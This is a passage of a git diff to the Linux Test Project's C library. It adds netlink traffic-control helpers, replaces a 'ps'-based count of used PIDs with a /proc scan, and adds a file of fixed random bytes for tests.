family, unsigned int parent, + unsigned int handle, const char *qd_kind, + const struct tst_rtnl_attr_list *config) +{ + return modify_qdisc(file, lineno, strict, "queueing discipline", + RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL, ifname, family, + parent, handle, 0, qd_kind, config); +} + +int tst_netdev_remove_qdisc(const char *file, const int lineno, int strict, + const char *ifname, unsigned int family, unsigned int parent, + unsigned int handle, const char *qd_kind) +{ + return modify_qdisc(file, lineno, strict, "queueing discipline", + RTM_DELQDISC, 0, ifname, family, parent, handle, 0, qd_kind, + NULL); +} + +int tst_netdev_add_traffic_class(const char *file, const int lineno, + int strict, const char *ifname, unsigned int parent, + unsigned int handle, const char *qd_kind, + const struct tst_rtnl_attr_list *config) +{ + return modify_qdisc(file, lineno, strict, "traffic class", + RTM_NEWTCLASS, NLM_F_CREATE | NLM_F_EXCL, ifname, AF_UNSPEC, + parent, handle, 0, qd_kind, config); +} + +int tst_netdev_remove_traffic_class(const char *file, const int lineno, + int strict, const char *ifname, unsigned int parent, + unsigned int handle, const char *qd_kind) +{ + return modify_qdisc(file, lineno, strict, "traffic class", + RTM_DELTCLASS, 0, ifname, AF_UNSPEC, parent, handle, 0, + qd_kind, NULL); +} + +int tst_netdev_add_traffic_filter(const char *file, const int lineno, + int strict, const char *ifname, unsigned int parent, + unsigned int handle, unsigned int protocol, unsigned int priority, + const char *f_kind, const struct tst_rtnl_attr_list *config) +{ + return modify_qdisc(file, lineno, strict, "traffic filter", + RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL, ifname, AF_UNSPEC, + parent, handle, TC_H_MAKE(priority << 16, htons(protocol)), + f_kind, config); +} + +int tst_netdev_remove_traffic_filter(const char *file, const int lineno, + int strict, const char *ifname, unsigned int parent, + unsigned int handle, unsigned int protocol, unsigned int priority, + const char *f_kind) +{ + return modify_qdisc(file, lineno, strict, "traffic filter", + RTM_DELTFILTER, 0, ifname, AF_UNSPEC, parent, handle, + TC_H_MAKE(priority << 16, htons(protocol)), f_kind, NULL); +} diff --git a/lib/tst_pid.c b/lib/tst_pid.c index 21cadef2..cfaa5db3 100755 --- a/lib/tst_pid.c +++ b/lib/tst_pid.c @@ -18,6 +18,7 @@ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ +#include #include #include #include @@ -29,8 +30,10 @@ #include "tst_pid.h" #include "old_safe_file_ops.h" #include "tst_safe_macros.h" +#include "lapi/syscalls.h" #define PID_MAX_PATH "/proc/sys/kernel/pid_max" +#define THREADS_MAX_PATH "/proc/sys/kernel/threads-max" #define CGROUPS_V1_SLICE_FMT "/sys/fs/cgroup/pids/user.slice/user-%d.slice/pids.max" #define CGROUPS_V2_SLICE_FMT "/sys/fs/cgroup/user.slice/user-%d.slice/pids.max" /* Leave some available processes for the OS */ @@ -110,25 +113,35 @@ static int get_session_pids_limit(void (*cleanup_fn) (void)) return max_pids; } -int tst_get_free_pids_(void (*cleanup_fn) (void)) +static int get_used_pids(void (*cleanup_fn) (void)) { - FILE *f; - int rc, used_pids, max_pids, max_session_pids; - - f = popen("ps -eT | wc -l", "r"); - if (!f) { - tst_brkm(TBROK, cleanup_fn, "Could not run 'ps' to calculate used pids"); - return -1; + DIR *dir_proc; + struct dirent *ent; + char status_path[PATH_MAX]; + int used_threads, used_pids = 0; + + dir_proc = SAFE_OPENDIR("/proc"); + + while ((ent = SAFE_READDIR(dir_proc))) { + if (isdigit(ent->d_name[0])) { + snprintf(status_path, sizeof(status_path), "/proc/%s/status", ent->d_name); + if (!FILE_LINES_SCANF(cleanup_fn, status_path, "Threads: %d", &used_threads)) + used_pids += used_threads; + } } - rc = fscanf(f, "%i", &used_pids); - pclose(f); - if (rc != 1 || used_pids < 0) { - tst_brkm(TBROK, cleanup_fn, "Could not read output of 'ps' to calculate used pids"); - return -1; - } + SAFE_CLOSEDIR(dir_proc); + + return used_pids; +} + +int tst_get_free_pids_(void (*cleanup_fn) (void)) +{ + int max_pids, max_session_pids, max_threads, used_pids = get_used_pids(cleanup_fn); SAFE_FILE_SCANF(cleanup_fn, PID_MAX_PATH, "%d", &max_pids); + SAFE_FILE_SCANF(cleanup_fn, THREADS_MAX_PATH, "%d", &max_threads); + max_pids = MIN(max_pids, max_threads); max_session_pids = get_session_pids_limit(cleanup_fn); if ((max_session_pids > 0) && (max_session_pids < max_pids)) @@ -148,3 +161,8 @@ int tst_get_free_pids_(void (*cleanup_fn) (void)) } return max_pids - used_pids; } + +pid_t tst_getpid(void) +{ + return syscall(SYS_getpid); +} diff --git a/lib/tst_rand_data.c b/lib/tst_rand_data.c new file mode 100644 index 00000000..2543f966 --- /dev/null +++ b/lib/tst_rand_data.c @@ -0,0 +1,211 @@ +// SPDX-License-Identifier: GPL-2.0-or-later + +#include "tst_rand_data.h" + +const size_t tst_rand_data_len = 4096; +const char *const tst_rand_data = +"\xa5\xf8\xde\x82\x8a\x94\x8d\xa0\x02\x67\x79\x53\xf9\x77\x34\x69\x8d\xdb\xe6\xfc" +"\xa2\xca\x15\xd0\x6d\x0c\xc2\x53\x88\xef\x2c\xd9\x9c\x03\x9c\xff\x3f\xff\x43\x87" +"\x32\x33\x72\x4a\x8b\xc1\xb9\x32\xcc\x63\x3d\xe6\x60\xfb\x3b\x42\x41\xab\xde\x0e" +"\xe5\x0a\xcd\x57\x09\xee\x53\x52\x6a\x98\x64\xae\xac\x53\x0a\x7c\x51\x12\xc4\xfe" +"\x03\x34\xf9\x00\xcc\x04\x43\xe3\x9f\x72\x4f\xbc\xa1\x4e\x30\xa4\xac\xda\xdd\x11" +"\x14\xf3\x3d\x9d\xaa\x35\x11\x66\x2c\x32\x67\xe4\xcb\xc3\xbe\x16\x61\xc3\x9d\xfe" +"\xad\x88\x12\x9b\x75\x26\xdb\x55\x5d\x3e\xfd\x0e\xd0\x05\x69\x38\x08\x9f\xf3\xa2" +"\x32\x15\x9c\xcb\x47\x30\x42\xff\x4d\x5c\x86\xda\xb7\x77\x4e\x77\x74\x28\xe1\xe6" +"\xe2\xde\x4d\x27\xe7\x88\xbc\xc7\x57\x99\x79\x60\xd3\xd9\xb3\x0b\x15\x0d\xd4\xb8" +"\xaa\x78\x7b\x17\x85\xf6\xa9\x7f\xdb\x17\x7c\x4b\xfc\x9d\xd3\xc2\x7b\xef\x1e\xb0" +"\xbd\x31\xfe\x69\x3e\xdf\x94\x55\x03\xcf\xc9\x9f\xbf\x04\xdf\x9e\xfc\x78\xb1\xa1" +"\xf6\x00\x94\xff\x1e\x71\x4e\xca\xd7\x92\xe1\xa4\x58\x42\x12\xc7\x25\x15\x2a\xd8" +"\x27\x44\xcf\x71\xce\x72\x13\x41\x5a\x6d\x71\x55\x95\x16\xab\x54\x84\x2f\xfe\xc3" +"\x0f\xc6\xef\x39\x8b\x66\xaf\x8f\x0f\x33\xd6\x1f\xe2\x47\x86\xdf\xac\x1b\x2e\x9c" +"\xeb\x9a\x4d\x0a\x86\xb3\x5b\x08\x13\xdf\x47\x41\x6b\x71\x9e\x68\xc0\xbf\xdd\x51" +"\x26\xa2\x61\x1e\xdc\x78\x32\x61\x86\xe4\xcf\x89\x41\x98\x56\xe1\x3f\xe3\x9c\x49" +"\x56\x6a\xf1\x9c\x84\x22\x02\xaf\xdd\x9a\xa2\x98\x39\x2b\xea\x88\xd9\x42\x0e\x63" +"\x80\xdb\x64\xfd\xdd\x34\xe4\x01\x48\xce\xee\xf3\x8e\xae\x81\xf0\x39\x74\x6e\xeb" +"\xc7\x60\x58\x4e\xce\x31\x69\x36\xed\x4a\x52\xae\x5d\x6f\x27\xdf\x46\xa8\xdd\x5e" +"\x0a\xdb\x4f\x06\xa4\x21\xc7\x9d\x96\x70\x7c\xfc\xcf\x55\x20\xff\x10\xac\x12\xd9" +"\x22\x58\x18\x7c\x8e\x6c\x3b\x05\x8f\x69\xd3\x15\x6e\x64\x72\xc5\x2a\xef\x97\xd1" +"\xa3\xf1\xc5\xf1\xb8\x66\x37\xc4\x4d\x69\xea\x4e\x53\xa8\x85\xc7\x5e\xf6\xf9\x55" +"\x5f\xf9\x74\xcb\x39\x1b\xd1\x56\x88\x54\xd4\x29\xfa\xfc\xcf\x74\xd3\xcc\x5d\x4a" +"\xb4\x3e\x78\xf5\xa4\x3a\x6d\x74\x6e\x46\x5f\xa3\x2e\xe1\xb9\x78\x35\xad\x67\x5b" +"\xe4\x0c\xf6\x6e\xff\x24\x2c\x9a\x3a\xff\xb9\x43\x1b\x92\xe2\x66\xc0\x80\x1c\x13" +"\x03\x97\xd1\x8e\xc0\x17\x24\x14\x71\x16\x35\x92\x5e\x27\x34\x6e\xc0\x07\xb5\xaf" +"\xc9\xc6\xc0\x50\x28\xe7\xf1\xd2\x34\x1d\x8c\x66\x9a\xb5\xc9\x5c\xf7\xd7\x72\x0b" +"\x20\x37\x5b\x22\xfa\xa2\xa0\x3c\xe4\x04\x05\x67\x76\x0b\x75\x10\xd6\x9c\xd2\x9b" +"\x96\x6d\xec\x93\xb8\x26\x8b\xf7\x71\x84\x3e\xf5\x58\x26\x0f\x62\x17\x0c\xa0\x89" +"\x56\x30\xba\xa5\x5d\xb6\x94\x85\x71\xbe\xb8\x71\x02\x5b\xe1\x4d\xf0\x25\x52\x3a" +"\xd8\x36\xb9\xe0\x2f\x6b\x3b\x3d\x96\x56\x27\x75\x17\x44\x37\x42\xba\x86\x90\x4c" +"\x1a\xf3\xcd\xc5\x81\x88\xc5\xa4\x3b\xac\x3e\xd3\x2d\xdf\xed\xab\xe3\x42\x03\xed" +"\xbf\x11\x8d\x78\xc2\x83\x1a\xed\x97\xe9\x06\x61\x46\xb4\xc2\xa7\xf2\xcb\x96\xa4" +"\xb4\xcb\x1f\x42\x93\x03\xd7\x26\x76\xba\x36\x74\x98\x59\x5a\x26\xe5\x19\xf9\xcd" +"\xc2\x36\xb2\xbb\x77\x4c\x3b\x53\x7d\x98\xb5\x02\xde\x70\xa9\x7e\x07\xa2\x56\x7b" +"\x43\x4d\xdb\x4d\xc4\x02\xfc\x5e\x82\xf8\xcc\x78\x09\x9f\x49\x52\x56\xbe\x3e\x26" +"\x7a\x97\xef\x50\x6b\xe1\x4a\x3d\xb2\xe1\xac\xae\x3a\x4b\x8f\xf0\x4d\xd7\x7b\x7e" +"\x77\x62\x36\xba\xfc\xad\xeb\x68\x2a\x92\xe1\x1c\xa6\xeb\x23\x97\x01\xa0\xc5\xb0" +"\x3c\xd8\xd4\x7e\x08\xcd\x25\x67\xe6\xa5\xf6\x82\xb7\x31\x74\xf7\x4a\x3a\x86\x91" +"\xe9\x8c\x31\x47\x2c\x77\x17\xfa\xc8\x98\xd2\xa9\xa8\x39\x12\x1a\x59\x6e\x2a\x86" +"\x72\x71\x9d\x9d\x77\xd9\x27\xac\xb1\xa5\x8b\x41\xca\x4c\x9a\x0d\xac\xfc\xd8\xb9" +"\x32\xcf\x77\xef\x8f\xf6\x49\xba\x8f\x16\x40\x5c\x51\x5d\xcd\x47\x76\x3f\x08\xdd" +"\x51\x66\x17\xa7\xa6\xba\x6a\x54\xce\x55\x80\x73\xd5\xdf\x22\x98\x4e\xb5\x64\x3d" +"\x71\xb6\xeb\x85\xe0\x93\xdc\xe9\x16\xa1\xfb\x77\xa5\xbc\x88\x62\x62\x9e\x9e\x24" +"\xb2\x3b\xa2\x6b\x18\x7b\xbc\xaa\x2e\xb4\xc1\x3a\x26\x63\x9f\x40\x33\x49\xe1\x4d" +"\x23\xae\x53\x87\xfb\xaa\x41\x52\xea\x9e\xdb\x36\xee\x35\x3d\xaa\xe5\x54\x8d\x1b" +"\x0d\x87\xfd\xc2\x13\xf6\x0d\x7f\xe1\x73\x98\x8a\x9d\xe3\x4f\xec\xa0\xf1\xa6\x49" +"\xa0\x0d\x98\xc9\xd2\x97\x0f\xb5\x84\x90\x26\xcb\x49\xc7\x44\x32\xa9\x13\xbd\x64" +"\x98\xf0\x29\xeb\x8a\x4a\x36\x00\x8c\xed\x6b\x47\x68\x01\x65\xfc\x33\x9d\xd6\xc3" +"\x57\xf2\x60\x0c\xaa\xf1\x22\x30\x94\x70\xcb\x77\xe8\xa5\x77\xf9\xa3\x7a\x49\x71" +"\x60\x8b\x4e\xa3\xd3\x21\x6d\xc4\xdb\x45\x75\x54\xb2\x65\xdf\xc6\x42\xc2\x6b\xab" +"\x4e\xc4\xef\x80\xe3\xaa\x79\x2c\x77\x5c\x6e\x7f\x1a\x52\xfc\x1c\x32\x6d\xff\x39" +"\x91\xc5\x17\x57\x00\x19\xb9\xf2\x11\x69\xcb\x34\xa1\xdb\x4f\xc9\x8a\xee\x2d\xac" +"\x4e\x99\xe2\x0f\xdc\x14\xc9\x1c\x02\x6a\xab\xf3\xa5\xdb\x65\x6e\xd6\xcd\x70\xa8" +"\x48\xfc\x41\xb9\x86\x0c\x01\xfc\x5e\x5e\x98\xa0\x66\xf3\xbf\xcc\x0c\x76\xf0\x20" +"\x6d\x97\xf0\x81\xd7\x7c\x64\x6d\xf9\x48\x62\x7c\x54\xfa\x06\x83\x63\x76\x07\x12" +"\x67\x7f\x1f\x7e\x84\x8c\x2c\xe0\x8e\xcf\xe6\xa3\x7d\x26\xc0\x1f\x2e\x3a\xd2\x04" +"\xbc\x17\x0f\x28\x79\xff\xa5\xf0\x52\x98\xa4\x3c\x02\x44\x3e\xcb\x4d\xe5\xb8\x60" +"\x2b\x63\x16\x9c\xc2\x58\x41\xd1\xff\x01\x6b\xbe\x73\xd5\x1e\x01\x2e\x89\x58\x6a" +"\x25\xf7\x33\xdc\x90\xe8\x05\x07\x54\x3e\x7c\xfe\x45\x27\x1b\xc0\x34\xbb\x1d\x3b" +"\x59\x13\xe3\xb0\x4e\xc7\xc7\x32\xe5\x54\xe8\x74\xcc\x93\x36\x98\x91\x75\x32\x36" +"\xda\x5b\x37\xe4\xa0\x91\x77\x16\xa5\xa9\x65\x72\x8b\x28\xe4\x3d\x44\xc2\x20\xa1" +"\xce\x07\x00\x78\x0d\x0d\xf0\x87\x1b\x1b\x0b\xc2\xb4\x44\xb2\x7d\x36\xef\x01\x12" +"\xd4\xdd\x02\x69\x70\x72\xe7\x9f\x0d\x63\xbc\x00\xe3\xbc\x04\xb3\xa1\xa2\xd0\x3a" +"\x88\xd5\xb3\x14\x96\x78\xa4\x29\x31\x44\x0a\xf2\xdf\xe9\x33\x3d\x77\x5d\x63\x1b" +"\x67\xc2\xa8\xc9\xe8\x27\x18\xed\xf6\xfd\x35\xf8\xff\x0f\x96\x8e\x27\x76\x4c\x4a" +"\x63\x80\x01\xe8\x6a\x90\x14\x3d\x71\xf7\xa8\xf1\xfd\x46\x53\x75\x0c\xd6\x57\xff" +"\x33\x43\x9e\xb9\xb2\x83\x1c\x8d\x91\x0e\x4c\xc2\x6d\x3c\xcc\xf9\xe9\xfd\xbe\xd4" +"\x51\xb8\xe4\xc4\x43\xc9\xd7\x92\x71\x5c\xbc\x91\x7e\x0a\xd3\x6a\x83\xf0\xa9\x1b" +"\x72\x6a\xd0\x4c\x92\xc5\x10\x86\xfe\x36\x59\x71\x28\x95\xaa\x8a\xdb\x6c\x8c\xdd" +"\x9e\x3f\xf7\xa8\xfd\x14\xd0\x81\xd6\xf0\x37\x65\x72\x4e\x27\xee\x4a\x8b\xa5\xac" +"\xe4\x4e\xd3\xe3\xd1\xf6\xfb\x45\x19\x26\xf2\x72\xd3\xe2\x5e\x8b\xe9\x1d\xcf\x47" +"\x06\xe8\x02\x6b\xdf\xbe\xe3\x01\x74\x3d\xfe\xc9\x41\x04\x6c\xe6\x3c\x96\x59\x37" +"\x82\xc7\x2a\x55\x8c\xf3\x93\x6e\xa8\x83\xed\xea\x32\x59\x26\xc8\xec\xd2\x76\x36" +"\x39\xd7\x2c\x04\x88\x75\x32\x5a\xec\x62\x6a\x01\xa9\xb8\x9d\x0a\x30\x7e\xab\xe6" +"\x7d\xfb\x54\x4c\x79\xe6\x2d\x89\xbd\x53\x48\xdb\x42\x1b\x76\x09\x40\x54\x6c\x28" +"\x9c\x45\x09\x2e\xb1\xc9\x3a\x2e\x32\x0e\xcf\xe3\xbf\xf0\xa9\xf8\x7a\xe1\x02\xc2" +"\xed\x7d\x46\xe8\xee\x22\xd9\x5b\x86\xa0\x53\x5b\x0f\xd8\x0f\x1b\x7e\x75\x07\xe6" +"\xa4\x7d\xe2\x21\x0e\x09\x47\x85\x1c\xe5\x78\xd4\xad\x2d\xee\xac\xfd\x48\x7d\xd2" +"\xab\xb0\xb7\x4e\xba\x4c\x80\x5d\xed\xd3\x5a\x9b\xde\x68\xb4\xd7\x72\xbc\xa3\x1f" +"\xbf\xa2\x15\x1b\x13\x5c\x6c\xce\x53\xf4\xc9\x50\xf8\xa0\xde\xcf\x9e\xe3\x1c\xc7" +"\x8e\x4c\xab\xe9\xfc\x3e\x23\xe9\x30\xb3\x32\x06\xd4\x28\xc7\xae\x3b\xdc\x0c\xf6" +"\xdd\xc4\x56\xb6\xfd\x70\xb4\xc7\xff\xf1\xd9\x5b\x17\x7f\x0c\xa4\x85\x7d\x52\xcf" +"\xbd\x4e\xb9\xd5\xd6\x55\xb5\x23\x1c\x20\x4a\x5b\xfc\x75\x89\x34\x5e\x13\x63\xae" +"\x66\x7a\x65\x83\x35\x4f\xf6\x94\xa9\xc4\xab\xb7\x21\x66\x9d\x88\xb3\xe4\xe3\x18" +"\xb6\xb2\x4a\x6a\x39\x53\x3b\xee\x39\x58\xe3\x28\x33\xab\xcc\x0a\x58\x2d\x12\xe3" +"\x58\x26\x50\x36\x7d\xee\xb0\xe7\x36\x0f\x18\x88\x8d\x94\xc1\xe7\x68\xea\x34\x07" +"\x90\x12\xc6\x16\x68\xd5\x93\x71\x4a\x52\xc6\x83\x8a\x36\x89\x50\x63\x93\x1f\xd5" +"\x29\xaa\x27\x60\x2c\x0b\x96\x38\x91\x4a\x72\x5c\xb0\xd0\x2a\x25\xb8\x4d\x75\xa1" +"\xfe\x6f\x01\x25\x74\x7d\xed\xd7\x55\x2f\x49\xff\x2a\x59\x50\xc2\xfc\xb9\xfd\x7e" +"\x8f\x2b\x92\x6f\x94\xc9\x69\x26\x8f\x5f\xeb\x0c\x47\x59\x6a\xbb\x44\x8f\x24\x16" +"\x94\xab\xb1\x57\x8b\x38\x37\xa1\x7c\x5c\x14\x47\x13\x39\x6e\x8d\x8f\x42\xd4\xb2" +"\xb3\xbe\x42\xbb\x79\x7a\xd4\xdf\xda\x10\x59\xb8\xbd\x50\x1e\x91\x51\x12\xf0\x38" +"\xd4\xed\xaf\xec\x83\x77\x88\xaa\xc6\xb5\xb6\x15\xa4\xf2\xcb\x30\x3a\xbe\x50\x68" +"\x82\xc3\x81\x84\xc3\xfe\x0b\xbf\x10\x2b\x30\xcd\x08\xf1\x88\x0d\xbd\x16\xe0\x07" +"\x0f\x28\x0e\xf7\x40\xd4\x6f\x5f\xcc\xfb\x6b\x60\x63\x7b\xbc\x75\xa0\xc6\xb3\x73" +"\xd2\xb2\xd8\x07\x49\xda\x3b\xd9\xd6\x68\x17\xcc\xa0\xab\xd8\x3a\x5d\x08\xeb\x3e" +"\xd6\x73\xac\x69\x78\x6e\x29\xff\x43\x72\x8c\x2c\x77\x01\x72\xd2\x70\x99\xc1\xbf" +"\x48\x05\x0c\xa9\x2d\x79\x4a\x7f\xcc\x12\x4a\xfb\x96\x41\x3b\xf0\x55\xf6\x8a\xf5" +"\xe2\x70\xf8\xf4\xcb\x1e\x80\x0a\x82\xc1\x7b\x90\x71\x78\xf6\xf0\x07\x78\xbd\x1a" +"\xf0\x7a\x4b\x2e\x13\xd6\x69\x57\x08\x2a\x6f\x89\xf7\x5a\x60\xb7\xce\xbd\xba\x2d" +"\xd6\x4f\xb9\xfb\x0a\xb2\xa4\x6d\x00\xb2\x77\x0c\xcd\xdc\xf4\x8d\x7d\xd8\x3b\xe8" +"\x34\x7b\x0d\x50\x7e\xe9\xa3\x53\x6c\xd7\x7a\xc9\xc3\xf7\xa8\x26\x59\xf5\x32\x96" +"\x31\x9d\xc8\x2a\x16\x7a\x38\x84\x3d\xf2\x2b\x27\x6a\x97\xf1\x72\x56\x39\xdd\x36" +"\x26\x12\x80\x08\x91\x69\x44\x9d\xc1\xca\x8a\x1d\x67\x15\x01\x8a\x25\xde\xe6\xde" +"\x81\x53\x3a\x3e\x69\xa0\x1c\x1a\x47\x5d\x61\x1d\x2c\x9e\x43\x97\x98\x9b\xe2\xf1" +"\xa6\x4a\x4b\x50\x19\x01\xb6\xfc\x15\x53\x88\x1e\x18\x86\x5b\xf5\x4d\x3e\x5d\x07" +"\x93\xcf\xb9\xa4\x7e\x7f\x82\xe6\xae\xb6\xb1\xb0\xe9\x07\xb1\x94\x92\x5c\x3e\x51" +"\x8d\x51\x9d\xaa\xb7\xb3\xb7\x9d\x4d\x7d\x79\x34\x3b\xea\x88\xa6\x67\x12\xf6\xfe" +"\xa2\xd3\x35\x1c\x81\xe8\x6e\xc2\xa3\x23\x95\x57\x87\x12\x4b\x3b\xc8\xd7\x2a\xfb" +"\x64\xc8\xab\x23\xdd\x64\x80\xbf\x21\xca\x32\xf8\xf3\xdb\x23\x45\x6a\x52\x00\x11" +"\xae\x84\x3c\xe0\x55\x0a\xd1\x78\xff\x16\x4f\x06\xc2\xa6\x16\x94\x45\xeb\xf7\x82" +"\x1a\x1c\x81\x82\x4e\x60\x1f\xde\x7b\x6f\xfc\x3e\x03\xb3\x59\x46\x5a\x34\x8f\x92" +"\x97\x48\x37\xcd\x64\xea\x0e\x22\x72\xf5\x2a\x38\x68\xc9\xd7\x3b\xb1\x66\xf1\xc8" +"\x80\x53\xcd\xb3\xd9\x22\x5b\x9c\x3d\x71\xae\x9e\xe6\xca\x9f\x32\xc6\x38\x28\x6a" +"\x02\xb4\x70\xf4\x01\xfa\x73\x35\x91\x9a\x7b\x88\xf3\x7f\x8f\xdc\xff\x40\x1e\xeb" +"\x91\x0b\xfe\x18\xa3\xf9\x83\x55\xd2\x2b\x7c\x32\xc5\x58\xc6\xd9\xeb\xdc\x63\xee" +"\xd5\x85\x67\x3e\x48\xc9\x77\x85\x6d\x6e\x68\xd9\x6b\xbe\x56\x8a\x2f\xa1\xfb\xac" +"\xaf\x92\xc9\x9f\xcc\x74\x57\x5c\xce\x95\x24\x6a\x69\xf7\xf6\xe2\x5c\xdf\xe8\x51" +"\x59\x7c\xeb\x5d\xdb\xee\x23\xcf\x06\xfd\x41\x61\x7c\x0c\x68\xfc\x0d\x3c\x31\xbc" +"\x21\x47\x30\x8e\x40\xc7\xd5\xf7\x38\x59\xef\x04\xfd\x48\x93\xf6\xa1\x4d\x31\x41" +"\x25\xf4\xe0\x14\xbe\xd4\xd9\xe5\x09\x0f\xd4\xd8\x14\x01\xe2\xf2\xe5\x63\x92\xea" +"\x09\xdf\x04\x73\x0f\x1b\x2f\x53\xd4\xf7\xab\xc4\xce\x5c\x69\x08\x66\x51\x96\xc4" +"\xeb\xe1\xc1\x1e\x2f\xe7\x66\xb9\x6b\x2f\x04\xe2\x91\x5d\xcf\x56\x6a\x92\x93\x82" +"\xa4\x6f\x9c\xc4\xe2\x51\x5b\xfb\xba\xd9\x07\x56\x2f\xa8\xb8\x9c\x1d\x2c\x72\x8d" +"\xd4\xcd\x81\x3a\x34\x04\x05\x4d\x1b\xdc\x4d\x06\xf8\x30\xb1\x53\x22\xd8\x5a\xc8" +"\xf2\xbc\x28\x7f\x24\x25\x46\x4f\xfa\xb2\x2f\x14\x42\x9a\x5c\xe2\x54\xec\xed\x28" +"\x68\xc1\x0c\xf5\xcc\x59\x81\x05\x33\x1d\xee\x91\xb2\x29\xf0\x6c\x36\x21\x65\xb1" +"\x62\xf6\x05\x7e\xe2\x0f\xf4\x18\x88\x9f\x6b\xa9\xb7\x51\x7c\x30\xba\xb0\x12\xba" +"\xa9\x08\xdb\x3c\x03\xaf\x64\xcf\x14\x7a\xe6\xb0\xdf\x05\x61\xf2\xd5\x66\xce\x6d" +"\x5b\xcf\x4f\x34\xd0\xe9\xa4\xbb\x8e\xff\x12\xef\xf8\x46\x20\x85\xaa\x9a\xe0\xdf" +"\x15\x58\xbb\x3f\xee\xf0\x94\x83\x34\x8f\xd6\x59\x24\xe2\xbc\x06\x36\x8b\x6b\xd1" +"\x4b\x8b\xc6\x83\x48\x7d\xed\x7d\x89\x75\x89\x04\xf6\x04\xbf\xf6\x13\xad\xae\x32" +"\x0c\x6a\xc0\xde\xe0\xfd\x82\xc8\x21\xa1\xdb\xef\x7a\x4f\x82\xfc\x2f\xe2\x52\xe7" +"\x6c\xdd\x6f\xad\x76\x5f\x0c\xf3\x58\x7d\x22\x24\x43\xfa\x52\x90\xd2\x78\x3f\xdc" +"\xc9\xf4\x1c\x3f\x1c\xab\x68\x26\x7e\x97\x72\x0f\xd1\x14\x8e\xbb\xc7\xfc\xe9\x11" +"\x6b\xe2\x6b\xfd\x9c\xf0\x48\xcd\x35\xb6\xc2\x32\x78\xf1\xbc\x2d\x14\x2f\x43\xad" +"\x15\xee\xfa\xf7\xf8\x2b\x11\xc9\x8a\x3b\x96\xcc\xd9\x2d\x33\x67\xa5\xe3\x09\xe6" +"\xfe\x68\xd9\x44\x26\x71\xc8\x64\xd3\xf6\x43\x9e\xde\x53\xe9\x8b\x9f\x95\x10\x8e" +"\x06\x16\x46\x2f\xb2\xaa\xfc\x30\x5f\xc9\xe3\x34\xaa\x42\xbe\x6b\x91\x51\x0e\x1d" +"\x53\x1f\xa6\x4b\xe2\x4e\x2c\xd4\x3f\xd1\x4f\x63\x16\xae\x3c\x11\xf8\xbe\x06\xdf" +"\x35\x3a\xe1\x17\x50\xe6\xca\xfa\x07\x6b\x0d\x93\x23\xce\xe0\xf4\x81\x82\x7d\x7b" +"\xc2\x46\xab\x79\xd7\x43\xa4\x64\x3d\x41\xac\x9b\xd4\x6e\xf2\xaa\x4e\x15\x5b\x25" +"\x48\xa5\xc5\xa2\x92\x3f\xa0\x57\xcc\xfe\xa6\x16\x22\xd0\x4a\x8e\x3f\x42\x73\x10" +"\xe2\xc8\x6e\x32\xa1\xb3\x8d\xad\x10\x54\xc1\xf9\x1b\x7a\x42\x1b\xa6\xfb\x66\xf7" +"\x61\x5d\xee\x3d\x74\xd2\x8e\xf4\xb5\x68\xd7\x67\x06\x1d\xf2\xaa\x7c\x39\x8a\xa6" +"\x96\x64\x07\xec\x95\xb9\x94\x6c\x0d\xf5\x1d\x52\x46\x43\x2b\x9f\x08\x52\xa9\x3a" +"\x1f\x84\x32\x4a\xbd\x95\xae\x8e\xd5\x49\x39\xba\xa6\x05\x01\x6b\x68\xcf\xa0\x63" +"\x75\x86\xd6\x8a\xac\x45\xeb\x4b\xb6\x1f\xec\x38\xb7\xe7\x02\x44\x43\xdc\x3e\x22" +"\x03\x46\x30\xb9\xf0\x95\xdc\xdf\x99\xf6\x32\x40\x7f\x3d\xc3\x7a\xf7\x5c\xa9\x9e" +"\xe8\x4a\xf2\xab\x8f\x4b\xda\x06\xda\xcd\x5d\x4e\xfd\x4d\x6b\x71\x76\xe1\xe1\xdf" +"\x00\xc1\x11\x87\x48\xbd\x45\x1f\x7b\x6e\xd6\xa0\x55\x2d\x39\x6a\x2d\x72\x27\xbd" +"\x20\xd6\xb4\x24\x76\x89\x78\xf3\x74\xaa\x1d\x14\x73\x5d\x36\x59\xcb\xc3\x55\x37" +"\x48\xc8\xb6\x94\xed\xbb\x37\x89\xec\x8c\x75\xb1\x1f\x08\x10\xec\x54\x88\x34\x91" +"\x49\x00\xdd\xbe\xb5\x4b\xe6\xb5\xe9\x2b\x73\x67\x49\x86\xc6\x19\xa7\xb9\x3a\xb4" +"\x33\x49\x48\xd1\xba\x97\xcb\xda\x04\x8a\x5a\x1e\xae\x4c\xe8\xfa\xfc\x9d\x57\xd9" +"\x8f\xb7\x35\xf9\x47\x8a\x48\xbc\xb3\x9b\x42\x95\xa9\x6d\x01\xd5\x16\x38\xe0\x88" +"\xc5\x17\xa1\x6c\xf5\x83\x0d\xc8\xa0\x8d\x20\xf4\xae\xb3\x42\x8b\x41\xc3\x2c\x65" +"\x60\x92\x63\xb7\xaa\xd9\x73\xcb\xa8\xb1\x9d\x09\x14\x0d\xc9\x71\x5f\x67\x5a\x76" +"\xf8\x2f\xef\x82\x40\xc4\x6a\xee\x87\x3a\x84\x3c\x09\xfe\xce\x35\x8d\x51\x8b\xfe" +"\x1a\x7f\xe4\x48\xf9\x04\x81\xb5\x77\xb5\x3f\x13\x40\xd5\x5e\xb6\x95\xe4\x78\x93" +"\x4e\xf6\xf4\x58\x48\xf7\xdb\xc6\x96\xbe\x38\x36\x05\x08\xe7\x08\x50\xbe\x48\xcc" +"\xcc\x1b\x30\x4a\xef\x5c\x17\xb9\x62\x18\x40\xf6\x47\x11\x30\x2d\x4b\x9a\xf8\x05" +"\x9d\x4b\xfe\x19\x32\xb1\x95\xe7\x29\xaf\x79\x06\x93\x19\x62\x91\x28\x1c\xe1\x10" +"\x15\xde\xc8\x55\x4d\xb5\x4e\x0f\xdc\x9d\x15\x66\x1c\x96\x53\x7a\xce\x0b\x17\xf4" +"\x9e\xa8\xd4\x93\xc4\x94\xe2\x61\xbb\xbc\x6f\x5b\x1e\x93\x53\x2d\xe9\xe6\x79\x75" +"\x84\xd8\x17\x28\x17\x5e\x31\x3e\xe4\x82\x1c\x86\x07\x1a\x86\x08\x17\x02\x77\xe6" +"\x50\xe2\x5b\xd4\xc9\x29\xe0\x80\x46\xa4\xdb\x8d\xa9\x3d\x9a\xd6\x25\x15\xa4\x1e" +"\x9a\xa0\x58\xde\x5f\x6b\x9e\xaa\x05\xb1\x2d\x8e\xcf\xa3\x6a\x3e\xf6\xef\xc1\xf6" 